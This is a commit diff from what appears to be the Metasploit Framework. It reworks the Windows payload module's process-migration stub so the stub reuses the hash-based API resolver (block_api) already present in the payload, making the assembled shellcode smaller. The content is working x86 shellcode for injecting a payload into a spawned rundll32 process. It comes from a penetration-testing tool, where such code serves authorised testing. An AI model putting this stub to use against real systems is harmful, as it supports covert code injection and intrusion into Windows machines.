Skip to content

Commit 725d4d7

Browse files
committed
Re-use block_api code in migrate stub if possible
Makes payload significantly smaller.
1 parent 0b32111 commit 725d4d7

File tree

1 file changed

+40
-6
lines changed

1 file changed

+40
-6
lines changed

lib/msf/core/payload/windows.rb

Lines changed: 40 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -79,9 +79,11 @@ def generate(*args)
7979
payloadsize = "0x%04x" % buf.length
8080
procname = datastore['PrependMigrateProc'] || 'rundll32'
8181

82-
migrate_asm = <<EOS
83-
cld ; Clear the direction flag.
84-
call start ; Call start, this pushes the address of 'api_call' onto the stack.
82+
# Prepare instructions to get address of block_api into ebp
83+
block_api_start = <<EOS
84+
call start
85+
EOS
86+
block_api_asm = <<EOS
8587
api_call:
8688
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
8789
mov ebp, esp ; Create a new stack frame
@@ -162,11 +164,43 @@ def generate(*args)
162164
pop edi ; Pop off the current (now the previous) modules hash
163165
pop edx ; Restore our position in the module list
164166
mov edx, [edx] ; Get the next module
165-
jmp next_mod ; Process this module
167+
jmp.i8 next_mod ; Process this module
166168
;--------------------------------------------------------------------------------------
167-
start: ;
169+
EOS
170+
block_api_ebp_asm = <<EOS
168171
pop ebp ; Pop off the address of 'api_call' for calling later.
172+
EOS
173+
block_close_to_payload = ''
174+
175+
# Check if we can find block_api in the payload
176+
block_api = Metasm::Shellcode.assemble(Metasm::Ia32.new, block_api_asm).encode_string
177+
block_api_index = buf.index(block_api)
178+
if block_api_index
179+
180+
# Prepare instructions to calculate address
181+
ebp_offset = "0x%04x" % (block_api_index + 5)
182+
block_api_ebp_asm = <<EOS
183+
jmp close_to_payload
184+
return_from_close_to_payload:
185+
pop ebp
186+
add ebp, #{ebp_offset}
187+
EOS
188+
# Clear now-unneeded instructions
189+
block_api_asm = ''
190+
block_api_start = ''
191+
block_close_to_payload = <<EOS
192+
close_to_payload:
193+
call return_from_close_to_payload
194+
EOS
195+
end
169196

197+
#put all pieces together
198+
migrate_asm = <<EOS
199+
cld ; Clear the direction flag.
200+
#{block_api_start}
201+
#{block_api_asm}
202+
start:
203+
#{block_api_ebp_asm}
170204
; get our own startupinfo at esp+0x60
171205
add esp,-400 ; adjust the stack to avoid corruption
172206
mov edx,esp
@@ -244,14 +278,14 @@ def generate(*args)
244278
call gotcommand
245279
db "#{procname}"
246280
db 0x00
281+
#{block_close_to_payload}
247282
begin_of_payload:
248283
call begin_of_payload_return
249284
EOS
250285

251286
pre << Metasm::Shellcode.assemble(Metasm::Ia32.new, migrate_asm).encode_string
252287
end
253288
end
254-
255289
return (pre + buf)
256290
end
257291

0 commit comments

Comments
 (0)